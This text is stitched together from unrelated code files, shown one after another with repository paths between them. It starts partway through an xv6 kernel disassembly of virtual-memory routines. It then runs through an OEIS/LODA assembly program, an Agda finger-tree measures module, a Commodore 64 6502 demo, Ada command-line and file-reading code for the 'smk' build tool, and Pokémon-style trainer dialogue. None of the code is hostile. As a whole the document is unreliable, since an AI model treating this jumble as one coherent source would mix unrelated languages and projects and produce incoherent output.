80106fe2: 8b 55 10 mov 0x10(%ebp),%edx
80106fe5: 8b 45 08 mov 0x8(%ebp),%eax
return 0;
80106fe8: 31 ff xor %edi,%edi
80106fea: e8 41 fb ff ff call 80106b30 <deallocuvm.part.0>
80106fef: eb 92 jmp 80106f83 <allocuvm+0xb3>
80106ff1: eb 0d jmp 80107000 <deallocuvm>
80106ff3: 90 nop
80106ff4: 90 nop
80106ff5: 90 nop
80106ff6: 90 nop
80106ff7: 90 nop
80106ff8: 90 nop
80106ff9: 90 nop
80106ffa: 90 nop
80106ffb: 90 nop
80106ffc: 90 nop
80106ffd: 90 nop
80106ffe: 90 nop
80106fff: 90 nop
80107000 <deallocuvm>:
{
80107000: 55 push %ebp
80107001: 89 e5 mov %esp,%ebp
80107003: 8b 55 0c mov 0xc(%ebp),%edx
80107006: 8b 4d 10 mov 0x10(%ebp),%ecx
80107009: 8b 45 08 mov 0x8(%ebp),%eax
if(newsz >= oldsz)
8010700c: 39 d1 cmp %edx,%ecx
8010700e: 73 10 jae 80107020 <deallocuvm+0x20>
}
80107010: 5d pop %ebp
80107011: e9 1a fb ff ff jmp 80106b30 <deallocuvm.part.0>
80107016: 8d 76 00 lea 0x0(%esi),%esi
80107019: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80107020: 89 d0 mov %edx,%eax
80107022: 5d pop %ebp
80107023: c3 ret
80107024: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010702a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80107030 <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
80107030: 55 push %ebp
80107031: 89 e5 mov %esp,%ebp
80107033: 57 push %edi
80107034: 56 push %esi
80107035: 53 push %ebx
80107036: 83 ec 0c sub $0xc,%esp
80107039: 8b 75 08 mov 0x8(%ebp),%esi
uint i;
if(pgdir == 0)
8010703c: 85 f6 test %esi,%esi
8010703e: 74 59 je 80107099 <freevm+0x69>
80107040: 31 c9 xor %ecx,%ecx
80107042: ba 00 00 00 80 mov $0x80000000,%edx
80107047: 89 f0 mov %esi,%eax
80107049: e8 e2 fa ff ff call 80106b30 <deallocuvm.part.0>
8010704e: 89 f3 mov %esi,%ebx
80107050: 8d be 00 10 00 00 lea 0x1000(%esi),%edi
80107056: eb 0f jmp 80107067 <freevm+0x37>
80107058: 90 nop
80107059: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80107060: 83 c3 04 add $0x4,%ebx
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
80107063: 39 fb cmp %edi,%ebx
80107065: 74 23 je 8010708a <freevm+0x5a>
if(pgdir[i] & PTE_P){
80107067: 8b 03 mov (%ebx),%eax
80107069: a8 01 test $0x1,%al
8010706b: 74 f3 je 80107060 <freevm+0x30>
char * v = P2V(PTE_ADDR(pgdir[i]));
8010706d: 25 00 f0 ff ff and $0xfffff000,%eax
kfree(v);
80107072: 83 ec 0c sub $0xc,%esp
80107075: 83 c3 04 add $0x4,%ebx
char * v = P2V(PTE_ADDR(pgdir[i]));
80107078: 05 00 00 00 80 add $0x80000000,%eax
kfree(v);
8010707d: 50 push %eax
8010707e: e8 8d b2 ff ff call 80102310 <kfree>
80107083: 83 c4 10 add $0x10,%esp
for(i = 0; i < NPDENTRIES; i++){
80107086: 39 fb cmp %edi,%ebx
80107088: 75 dd jne 80107067 <freevm+0x37>
}
}
kfree((char*)pgdir);
8010708a: 89 75 08 mov %esi,0x8(%ebp)
}
8010708d: 8d 65 f4 lea -0xc(%ebp),%esp
80107090: 5b pop %ebx
80107091: 5e pop %esi
80107092: 5f pop %edi
80107093: 5d pop %ebp
kfree((char*)pgdir);
80107094: e9 77 b2 ff ff jmp 80102310 <kfree>
panic("freevm: no pgdir");
80107099: 83 ec 0c sub $0xc,%esp
8010709c: 68 f1 7d 10 80 push $0x80107df1
801070a1: e8 ea 92 ff ff call 80100390 <panic>
801070a6: 8d 76 00 lea 0x0(%esi),%esi
801070a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801070b0 <setupkvm>:
{
801070b0: 55 push %ebp
801070b1: 89 e5 mov %esp,%ebp
801070b3: 56 push %esi
801070b4: 53 push %ebx
if((pgdir = (pde_t*)kalloc()) == 0)
801070b5: e8 66 b4 ff ff call 80102520 <kalloc>
801070ba: 85 c0 test %eax,%eax
801070bc: 89 c6 mov %eax,%esi
801070be: 74 42 je 80107102 <setupkvm+0x52>
memset(pgdir, 0, PGSIZE);
801070c0: 83 ec 04 sub $0x4,%esp
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
801070c3: bb 20 a4 10 80 mov $0x8010a420,%ebx
memset(pgdir, 0, PGSIZE);
801070c8: 68 00 10 00 00 push $0x1000
801070cd: 6a 00 push $0x0
801070cf: 50 push %eax
801070d0: e8 9b d5 ff ff call 80104670 <memset>
801070d5: 83 c4 10 add $0x10,%esp
(uint)k->phys_start, k->perm) < 0) {
801070d8: 8b 43 04 mov 0x4(%ebx),%eax
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
801070db: 8b 4b 08 mov 0x8(%ebx),%ecx
801070de: 83 ec 08 sub $0x8,%esp
801070e1: 8b 13 mov (%ebx),%edx
801070e3: ff 73 0c pushl 0xc(%ebx)
801070e6: 50 push %eax
801070e7: 29 c1 sub %eax,%ecx
801070e9: 89 f0 mov %esi,%eax
801070eb: e8 b0 f9 ff ff call 80106aa0 <mappages>
801070f0: 83 c4 10 add $0x10,%esp
801070f3: 85 c0 test %eax,%eax
801070f5: 78 19 js 80107110 <setupkvm+0x60>
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
801070f7: 83 c3 10 add $0x10,%ebx
801070fa: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx
80107100: 75 d6 jne 801070d8 <setupkvm+0x28>
}
80107102: 8d 65 f8 lea -0x8(%ebp),%esp
80107105: 89 f0 mov %esi,%eax
80107107: 5b pop %ebx
80107108: 5e pop %esi
80107109: 5d pop %ebp
8010710a: c3 ret
8010710b: 90 nop
8010710c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
freevm(pgdir);
80107110: 83 ec 0c sub $0xc,%esp
80107113: 56 push %esi
return 0;
80107114: 31 f6 xor %esi,%esi
freevm(pgdir);
80107116: e8 15 ff ff ff call 80107030 <freevm>
return 0;
8010711b: 83 c4 10 add $0x10,%esp
}
8010711e: 8d 65 f8 lea -0x8(%ebp),%esp
80107121: 89 f0 mov %esi,%eax
80107123: 5b pop %ebx
80107124: 5e pop %esi
80107125: 5d pop %ebp
80107126: c3 ret
80107127: 89 f6 mov %esi,%esi
80107129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80107130 <kvmalloc>:
{
80107130: 55 push %ebp
80107131: 89 e5 mov %esp,%ebp
80107133: 83 ec 08 sub $0x8,%esp
kpgdir = setupkvm();
80107136: e8 75 ff ff ff call 801070b0 <setupkvm>
8010713b: a3 a4 51 11 80 mov %eax,0x801151a4
lcr3(V2P(kpgdir)); // switch to the kernel page table
80107140: 05 00 00 00 80 add $0x80000000,%eax
80107145: 0f 22 d8 mov %eax,%cr3
}
80107148: c9 leave
80107149: c3 ret
8010714a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80107150 <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80107150: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80107151: 31 c9 xor %ecx,%ecx
{
80107153: 89 e5 mov %esp,%ebp
80107155: 83 ec 08 sub $0x8,%esp
pte = walkpgdir(pgdir, uva, 0);
80107158: 8b 55 0c mov 0xc(%ebp),%edx
8010715b: 8b 45 08 mov 0x8(%ebp),%eax
8010715e: e8 bd f8 ff ff call 80106a20 <walkpgdir>
if(pte == 0)
80107163: 85 c0 test %eax,%eax
80107165: 74 05 je 8010716c <clearpteu+0x1c>
panic("clearpteu");
*pte &= ~PTE_U;
80107167: 83 20 fb andl $0xfffffffb,(%eax)
}
8010716a: c9 leave
8010716b: c3 ret
panic("clearpteu");
8010716c: 83 ec 0c sub $0xc,%esp
8010716f: 68 02 7e 10 80 push $0x80107e02
80107174: e8 17 92 ff ff call 80100390 <panic>
80107179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80107180 <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
80107180: 55 push %ebp
80107181: 89 e5 mov %esp,%ebp
80107183: 57 push %edi
80107184: 56 push %esi
80107185: 53 push %ebx
80107186: 83 ec 1c sub $0x1c,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
80107189: e8 22 ff ff ff call 801070b0 <setupkvm>
8010718e: 85 c0 test %eax,%eax
80107190: 89 45 e0 mov %eax,-0x20(%ebp)
80107193: 0f 84 9f 00 00 00 je 80107238 <copyuvm+0xb8>
return 0;
for(i = 0; i < sz; i += PGSIZE){
80107199: 8b 4d 0c mov 0xc(%ebp),%ecx
8010719c: 85 c9 test %ecx,%ecx
8010719e: 0f 84 94 00 00 00 je 80107238 <copyuvm+0xb8>
801071a4: 31 ff xor %edi,%edi
801071a6: eb 4a jmp 801071f2 <copyuvm+0x72>
801071a8: 90 nop
801071a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
801071b0: 83 ec 04 sub $0x4,%esp
801071b3: 81 c3 00 00 00 80 add $0x80000000,%ebx
801071b9: 68 00 10 00 00 push $0x1000
801071be: 53 push %ebx
801071bf: 50 push %eax
801071c0: e8 5b d5 ff ff call 80104720 <memmove>
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) {
801071c5: 58 pop %eax
801071c6: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
801071cc: b9 00 10 00 00 mov $0x1000,%ecx
801071d1: 5a pop %edx
801071d2: ff 75 e4 pushl -0x1c(%ebp)
801071d5: 50 push %eax
801071d6: 89 fa mov %edi,%edx
801071d8: 8b 45 e0 mov -0x20(%ebp),%eax
801071db: e8 c0 f8 ff ff call 80106aa0 <mappages>
801071e0: 83 c4 10 add $0x10,%esp
801071e3: 85 c0 test %eax,%eax
801071e5: 78 61 js 80107248 <copyuvm+0xc8>
for(i = 0; i < sz; i += PGSIZE){
801071e7: 81 c7 00 10 00 00 add $0x1000,%edi
801071ed: 39 7d 0c cmp %edi,0xc(%ebp)
801071f0: 76 46 jbe 80107238 <copyuvm+0xb8>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
801071f2: 8b 45 08 mov 0x8(%ebp),%eax
801071f5: 31 c9 xor %ecx,%ecx
801071f7: 89 fa mov %edi,%edx
801071f9: e8 22 f8 ff ff call 80106a20 <walkpgdir>
801071fe: 85 c0 test %eax,%eax
80107200: 74 61 je 80107263 <copyuvm+0xe3>
if(!(*pte & PTE_P))
80107202: 8b 00 mov (%eax),%eax
80107204: a8 01 test $0x1,%al
80107206: 74 4e je 80107256 <copyuvm+0xd6>
pa = PTE_ADDR(*pte);
80107208: 89 c3 mov %eax,%ebx
flags = PTE_FLAGS(*pte);
8010720a: 25 ff 0f 00 00 and $0xfff,%eax
pa = PTE_ADDR(*pte);
8010720f: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
flags = PTE_FLAGS(*pte);
80107215: 89 45 e4 mov %eax,-0x1c(%ebp)
if((mem = kalloc()) == 0)
80107218: e8 03 b3 ff ff call 80102520 <kalloc>
8010721d: 85 c0 test %eax,%eax
8010721f: 89 c6 mov %eax,%esi
80107221: 75 8d jne 801071b0 <copyuvm+0x30>
}
}
return d;
bad:
freevm(d);
80107223: 83 ec 0c sub $0xc,%esp
80107226: ff 75 e0 pushl -0x20(%ebp)
80107229: e8 02 fe ff ff call 80107030 <freevm>
return 0;
8010722e: 83 c4 10 add $0x10,%esp
80107231: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp)
}
80107238: 8b 45 e0 mov -0x20(%ebp),%eax
8010723b: 8d 65 f4 lea -0xc(%ebp),%esp
8010723e: 5b pop %ebx
8010723f: 5e pop %esi
80107240: 5f pop %edi
80107241: 5d pop %ebp
80107242: c3 ret
80107243: 90 nop
80107244: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
kfree(mem);
80107248: 83 ec 0c sub $0xc,%esp
8010724b: 56 push %esi
8010724c: e8 bf b0 ff ff call 80102310 <kfree>
goto bad;
80107251: 83 c4 10 add $0x10,%esp
80107254: eb cd jmp 80107223 <copyuvm+0xa3>
panic("copyuvm: page not present");
80107256: 83 ec 0c sub $0xc,%esp
80107259: 68 26 7e 10 80 push $0x80107e26
8010725e: e8 2d 91 ff ff call 80100390 <panic>
panic("copyuvm: pte should exist");
80107263: 83 ec 0c sub $0xc,%esp
80107266: 68 0c 7e 10 80 push $0x80107e0c
8010726b: e8 20 91 ff ff call 80100390 <panic>
80107270 <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80107270: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80107271: 31 c9 xor %ecx,%ecx
{
80107273: 89 e5 mov %esp,%ebp
80107275: 83 ec 08 sub $0x8,%esp
pte = walkpgdir(pgdir, uva, 0);
80107278: 8b 55 0c mov 0xc(%ebp),%edx
8010727b: 8b 45 08 mov 0x8(%ebp),%eax
8010727e: e8 9d f7 ff ff call 80106a20 <walkpgdir>
if((*pte & PTE_P) == 0)
80107283: 8b 00 mov (%eax),%eax
return 0;
if((*pte & PTE_U) == 0)
return 0;
return (char*)P2V(PTE_ADDR(*pte));
}
80107285: c9 leave
if((*pte & PTE_U) == 0)
80107286: 89 c2 mov %eax,%edx
return (char*)P2V(PTE_ADDR(*pte));
80107288: 25 00 f0 ff ff and $0xfffff000,%eax
if((*pte & PTE_U) == 0)
8010728d: 83 e2 05 and $0x5,%edx
return (char*)P2V(PTE_ADDR(*pte));
80107290: 05 00 00 00 80 add $0x80000000,%eax
80107295: 83 fa 05 cmp $0x5,%edx
80107298: ba 00 00 00 00 mov $0x0,%edx
8010729d: 0f 45 c2 cmovne %edx,%eax
}
801072a0: c3 ret
801072a1: eb 0d jmp 801072b0 <copyout>
801072a3: 90 nop
801072a4: 90 nop
801072a5: 90 nop
801072a6: 90 nop
801072a7: 90 nop
801072a8: 90 nop
801072a9: 90 nop
801072aa: 90 nop
801072ab: 90 nop
801072ac: 90 nop
801072ad: 90 nop
801072ae: 90 nop
801072af: 90 nop
801072b0 <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
801072b0: 55 push %ebp
801072b1: 89 e5 mov %esp,%ebp
801072b3: 57 push %edi
801072b4: 56 push %esi
801072b5: 53 push %ebx
801072b6: 83 ec 1c sub $0x1c,%esp
801072b9: 8b 5d 14 mov 0x14(%ebp),%ebx
801072bc: 8b 55 0c mov 0xc(%ebp),%edx
801072bf: 8b 7d 10 mov 0x10(%ebp),%edi
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
801072c2: 85 db test %ebx,%ebx
801072c4: 75 40 jne 80107306 <copyout+0x56>
801072c6: eb 70 jmp 80107338 <copyout+0x88>
801072c8: 90 nop
801072c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
n = PGSIZE - (va - va0);
801072d0: 8b 55 e4 mov -0x1c(%ebp),%edx
801072d3: 89 f1 mov %esi,%ecx
801072d5: 29 d1 sub %edx,%ecx
801072d7: 81 c1 00 10 00 00 add $0x1000,%ecx
801072dd: 39 d9 cmp %ebx,%ecx
801072df: 0f 47 cb cmova %ebx,%ecx
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
801072e2: 29 f2 sub %esi,%edx
801072e4: 83 ec 04 sub $0x4,%esp
801072e7: 01 d0 add %edx,%eax
801072e9: 51 push %ecx
801072ea: 57 push %edi
801072eb: 50 push %eax
801072ec: 89 4d e4 mov %ecx,-0x1c(%ebp)
801072ef: e8 2c d4 ff ff call 80104720 <memmove>
len -= n;
buf += n;
801072f4: 8b 4d e4 mov -0x1c(%ebp),%ecx
while(len > 0){
801072f7: 83 c4 10 add $0x10,%esp
va = va0 + PGSIZE;
801072fa: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx
buf += n;
80107300: 01 cf add %ecx,%edi
while(len > 0){
80107302: 29 cb sub %ecx,%ebx
80107304: 74 32 je 80107338 <copyout+0x88>
va0 = (uint)PGROUNDDOWN(va);
80107306: 89 d6 mov %edx,%esi
pa0 = uva2ka(pgdir, (char*)va0);
80107308: 83 ec 08 sub $0x8,%esp
va0 = (uint)PGROUNDDOWN(va);
8010730b: 89 55 e4 mov %edx,-0x1c(%ebp)
8010730e: 81 e6 00 f0 ff ff and $0xfffff000,%esi
pa0 = uva2ka(pgdir, (char*)va0);
80107314: 56 push %esi
80107315: ff 75 08 pushl 0x8(%ebp)
80107318: e8 53 ff ff ff call 80107270 <uva2ka>
if(pa0 == 0)
8010731d: 83 c4 10 add $0x10,%esp
80107320: 85 c0 test %eax,%eax
80107322: 75 ac jne 801072d0 <copyout+0x20>
}
return 0;
}
80107324: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
80107327: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010732c: 5b pop %ebx
8010732d: 5e pop %esi
8010732e: 5f pop %edi
8010732f: 5d pop %ebp
80107330: c3 ret
80107331: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80107338: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
8010733b: 31 c0 xor %eax,%eax
}
8010733d: 5b pop %ebx
8010733e: 5e pop %esi
8010733f: 5f pop %edi
80107340: 5d pop %ebp
80107341: c3 ret
|
oeis/018/A018383.asm | neoneye/loda-programs | 11 | 15070 | <gh_stars>10-100
; A018383: Divisors of 304.
; Submitted by <NAME>
; 1,2,4,8,16,19,38,76,152,304
mov $1,1
mov $2,1
lpb $0
mov $3,$2
lpb $3
sub $1,1
add $2,1
mov $4,$1
add $1,2
gcd $4,$2
pow $4,2
div $4,$2
cmp $4,1
cmp $4,0
mul $3,$4
sub $3,$4
lpe
sub $0,1
add $2,1
mul $1,$2
lpe
mov $0,$2
div $0,2
add $0,1
|
src/Data/FingerTree/Measures.agda | oisdk/agda-indexed-fingertree | 1 | 5281 | {-# OPTIONS --without-K --safe #-}
open import Algebra
module Data.FingerTree.Measures
{r m}
(ℳ : Monoid r m)
where
open import Level using (_⊔_)
open Monoid ℳ renaming (Carrier to 𝓡)
open import Data.List as List using (List; _∷_; [])
open import Data.Product
open import Function
-- | A measure.
record σ {a} (Σ : Set a) : Set (a ⊔ r) where field μ : Σ → 𝓡
open σ ⦃ ... ⦄
{-# DISPLAY σ.μ _ = μ #-}
instance
σ-List : ∀ {a} {Σ : Set a} → ⦃ _ : σ Σ ⦄ → σ (List Σ)
μ ⦃ σ-List ⦄ = List.foldr (_∙_ ∘ μ) ε
-- A "fiber" (I think) from the μ function.
--
-- μ⟨ Σ ⟩≈ 𝓂 means "There exists a Σ such that μ Σ ≈ 𝓂"
infixl 2 _⇑[_]
record μ⟨_⟩≈_ {a} (Σ : Set a) ⦃ _ : σ Σ ⦄ (𝓂 : 𝓡) : Set (a ⊔ r ⊔ m) where
constructor _⇑[_]
field
𝓢 : Σ
.𝒻 : μ 𝓢 ≈ 𝓂
open μ⟨_⟩≈_ public
-- Construct a measured value without any transformations of the measure.
infixl 2 _⇑
_⇑ : ∀ {a} {Σ : Set a} ⦃ _ : σ Σ ⦄ (𝓢 : Σ) → μ⟨ Σ ⟩≈ μ 𝓢
𝓢 (x ⇑) = x
𝒻 (x ⇑) = refl
{-# INLINE _⇑ #-}
-- These combinators allow for a kind of easoning syntax over the measures.
-- The first is used like so:
--
-- xs ≈[ assoc _ _ _ ]
--
-- Which will have the type:
--
-- μ⟨ Σ ⟩≈ x ∙ y ∙ z → μ⟨ Σ ⟩≈ (x ∙ y) ∙ z
--
-- The second does the same:
--
-- xs ≈[ assoc _ _ _ ]′
--
-- However, when used in a chain, it typechecks after the ones used to its
-- left. This means you can call the solver on the left.
--
-- xs ≈[ ℳ ↯ ] ≈[ assoc _ _ _ ]′
infixl 2 _≈[_] ≈-rev
_≈[_] : ∀ {a} {Σ : Set a} ⦃ _ : σ Σ ⦄ {x : 𝓡} → μ⟨ Σ ⟩≈ x → ∀ {y} → .(x ≈ y) → μ⟨ Σ ⟩≈ y
𝓢 (xs ≈[ y≈z ]) = 𝓢 xs
𝒻 (xs ≈[ y≈z ]) = trans (𝒻 xs) y≈z
{-# INLINE _≈[_] #-}
≈-rev : ∀ {a} {Σ : Set a} ⦃ _ : σ Σ ⦄ {x : 𝓡} → ∀ {y} → .(x ≈ y) → μ⟨ Σ ⟩≈ x → μ⟨ Σ ⟩≈ y
𝓢 (≈-rev y≈z xs) = 𝓢 xs
𝒻 (≈-rev y≈z xs) = trans (𝒻 xs) y≈z
{-# INLINE ≈-rev #-}
syntax ≈-rev y≈z x↦y = x↦y ≈[ y≈z ]′
infixr 2 ≈-right
≈-right : ∀ {a} {Σ : Set a} ⦃ _ : σ Σ ⦄ {x : 𝓡} → μ⟨ Σ ⟩≈ x → ∀ {y} → .(x ≈ y) → μ⟨ Σ ⟩≈ y
≈-right (x ⇑[ x≈y ]) y≈z = x ⇑[ trans x≈y y≈z ]
syntax ≈-right x x≈ = [ x≈ ]≈ x
infixr 1 _↤_
-- A memoized application of μ
record ⟪_⟫ {a} (Σ : Set a) ⦃ _ : σ Σ ⦄ : Set (a ⊔ r ⊔ m) where
constructor _↤_
field
𝔐 : 𝓡
𝓕 : μ⟨ Σ ⟩≈ 𝔐
open ⟪_⟫ public
-- Construct the memoized version
⟪_⇓⟫ : ∀ {a} {Σ : Set a} ⦃ _ : σ Σ ⦄ → Σ → ⟪ Σ ⟫
𝔐 ⟪ x ⇓⟫ = μ x
𝓕 ⟪ x ⇓⟫ = x ⇑
instance
σ-⟪⟫ : ∀ {a} {Σ : Set a} ⦃ _ : σ Σ ⦄ → σ ⟪ Σ ⟫
μ ⦃ σ-⟪⟫ ⦄ = 𝔐
open import Algebra.FunctionProperties _≈_
-- This section allows us to use the do-notation to clean up proofs.
-- First, we construct arguments:
infixl 2 arg-syntax
record Arg {a} (Σ : Set a) ⦃ _ : σ Σ ⦄ (𝓂 : 𝓡) (f : 𝓡 → 𝓡) : Set (m ⊔ r ⊔ a) where
constructor arg-syntax
field
.⟨f⟩ : Congruent₁ f
arg : μ⟨ Σ ⟩≈ 𝓂
open Arg
syntax arg-syntax (λ sz → e₁) xs = xs [ e₁ ⟿ sz ]
-- This syntax is meant to be used like so:
--
-- do x ← xs [ a ∙> (s <∙ b) ⟿ s ]
--
-- And it means "the size of the variable I'm binding here will be stored in this
-- part of the expression". See, for example, the listToTree function:
--
-- listToTree [] = empty ⇑
-- listToTree (x ∷ xs) = [ ℳ ↯ ]≈ do
-- ys ← listToTree xs [ μ x ∙> s ⟿ s ]
-- x ◂ ys
--
infixl 1 _>>=_
_>>=_ : ∀ {a b} {Σ₁ : Set a} {Σ₂ : Set b} ⦃ _ : σ Σ₁ ⦄ ⦃ _ : σ Σ₂ ⦄ {𝓂 f}
→ Arg Σ₁ 𝓂 f
→ ((x : Σ₁) → .⦃ x≈ : μ x ≈ 𝓂 ⦄ → μ⟨ Σ₂ ⟩≈ f (μ x))
→ μ⟨ Σ₂ ⟩≈ f 𝓂
arg-syntax cng xs >>= k = k (𝓢 xs) ⦃ 𝒻 xs ⦄ ≈[ cng (𝒻 xs) ]
{-# INLINE _>>=_ #-}
-- Inside the lambda generated by do notation, we can only pass one argument.
-- So, to provide the proof (if needed)
_≈?_ : ∀ x y → ⦃ x≈y : x ≈ y ⦄ → x ≈ y
_≈?_ _ _ ⦃ x≈y ⦄ = x≈y
|
Asm4Kids/27sbcby3s.asm | jacmoe/c64adventures | 17 | 104167 | <gh_stars>10-100
;************************************************
;* sbc by three's *
;* *
;* Goes backwards, printing only every third *
;* character. *
;* *
;* Important to set the carry flag before *
;* using subtract! *
;* *
;************************************************
; 10 SYS (49152)
*=$0801
BYTE $0E, $08, $0A, $00, $9E, $20, $28, $34, $39, $31, $35, $32, $29, $00, $00, $00
*=$c000
jsr $e544
lda #93
start sec ; set the carry
sbc #3 ; subtract 3 from the accumulator
jsr $e716
cmp #66
bne start
rts
|
src/smk-main-analyze_cmd_line.adb | mgrojo/smk | 0 | 2781 | <filename>src/smk-main-analyze_cmd_line.adb
-- -----------------------------------------------------------------------------
-- smk, the smart make
-- © 2018 <NAME> <<EMAIL>>
-- SPDX-License-Identifier: APSL-2.0
-- -----------------------------------------------------------------------------
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
-- http://www.apache.org/licenses/LICENSE-2.0
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-- -----------------------------------------------------------------------------
-- -----------------------------------------------------------------------------
-- Package: Smk.Cmd_Line body
--
-- Implementation Notes:
--
-- Portability Issues:
--
-- Anticipated Changes:
--
-- -----------------------------------------------------------------------------
with Smk.IO;
with Smk.Settings;
with Ada.Command_Line;
with Ada.Directories;
separate (Smk.Main)
procedure Analyze_Cmd_Line is
-- --------------------------------------------------------------------------
Arg_Counter : Positive := 1;
-- --------------------------------------------------------------------------
-- Procedure: Next_Arg
-- --------------------------------------------------------------------------
procedure Next_Arg is
begin
Arg_Counter := Arg_Counter + 1;
end Next_Arg;
-- --------------------------------------------------------------------------
-- Procedure: Put_Version
-- --------------------------------------------------------------------------
procedure Put_Version is
begin
IO.Put_Line (Settings.Smk_Version);
end Put_Version;
begin
if Ada.Command_Line.Argument_Count < 1 then
Put_Help;
return;
end if;
while Arg_Counter <= Ada.Command_Line.Argument_Count loop
declare
Opt : constant String := Ada.Command_Line.Argument (Arg_Counter);
begin
if Opt = "-a" or Opt = "--always-make" then
Settings.Always_Make := True;
Next_Arg;
elsif Opt = "-e" or Opt = "--explain" then
Settings.Explain := True;
Next_Arg;
elsif Opt = "-n" or Opt = "--dry-run" then
Settings.Dry_Run := True;
Next_Arg;
elsif Opt = "-i" or Opt = "--ignore-errors" then
Settings.Ignore_Errors := True;
Next_Arg;
elsif Opt = "-lm" or Opt = "--list_makefile" then
Settings.List_Makefile := True;
Next_Arg;
elsif Opt = "-ls" or Opt = "--list_saved_run" then
Settings.List_Saved_Run := True;
Next_Arg;
elsif Opt = "-lt" or Opt = "--list_targets" then
Settings.List_Targets := True;
Next_Arg;
elsif Opt = "--clean" then
Settings.Clean_Smk_Files := True;
Next_Arg;
elsif Opt = "-We" or Opt = "--Warnings=error" then
Settings.Warnings_As_Errors := True;
Next_Arg;
elsif Opt = "-v" or Opt = "--verbose" then
Settings.Verbosity := Verbose;
Next_Arg;
elsif Opt = "-q" or Opt = "--quiet" then
Settings.Verbosity := Quiet;
Next_Arg;
elsif Opt = "--version" then
Put_Version;
Next_Arg;
elsif Opt = "-h" or Opt = "--help" then
Put_Help;
Next_Arg;
elsif Opt = "-d" then
-- undocumented option
Settings.Verbosity := Debug;
Next_Arg;
elsif Ada.Directories.Exists (Opt) then
-- should be the Makefile
Settings.Set_Makefile_Name (Opt);
Next_Arg;
else
Put_Error ("Unknown Makefile or unknow option "
& Opt, With_Help => False);
end if;
if IO.Some_Error then return; end if;
-- No need to further analyze command line, or to do
-- Options_Coherency_Tests.
end;
end loop;
-- Options_Coherency_Tests;
end Analyze_Cmd_Line;
|
Task/Read-a-file-line-by-line/Ada/read-a-file-line-by-line.ada | LaudateCorpus1/RosettaCodeData | 1 | 14225 | <filename>Task/Read-a-file-line-by-line/Ada/read-a-file-line-by-line.ada
with Ada.Text_IO; use Ada.Text_IO;
procedure Line_By_Line is
File : File_Type;
begin
Open (File => File,
Mode => In_File,
Name => "line_by_line.adb");
While not End_Of_File (File) Loop
Put_Line (Get_Line (File));
end loop;
Close (File);
end Line_By_Line;
|
data/phone/text/gaven_overworld.asm | Dev727/ancientplatinum | 28 | 86851 | GavenAskNumber1Text:
text "Wow, you're tough."
line "I haven't battled"
para "that seriously in"
line "a long time."
para "Could I get your"
line "phone number?"
para "I'd like to battle"
line "again when I heal"
para "@"
text_ram wStringBuffer4
text " and the"
line "rest of my team."
done
GavenAskNumber2Text:
text "Could I get your"
line "phone number?"
para "I'd like to battle"
line "again when I heal"
para "@"
text_ram wStringBuffer4
text " and the"
line "rest of my team."
done
GavenNumberAcceptedText:
text "How should I beat"
line "you? I'm tormented"
para "by those thoughts"
line "all the time…"
done
GavenNumberDeclinedText:
text "OK… I understand…"
line "But if you change"
para "your mind, give me"
line "a shout anytime."
done
GavenPhoneFullText:
text "Your phone's"
line "memory is full."
para "You can't register"
line "my number."
done
GavenRematchText:
text "Hi! I've been"
line "waiting for you!"
para "This time, I'm"
line "going to win!"
done
|
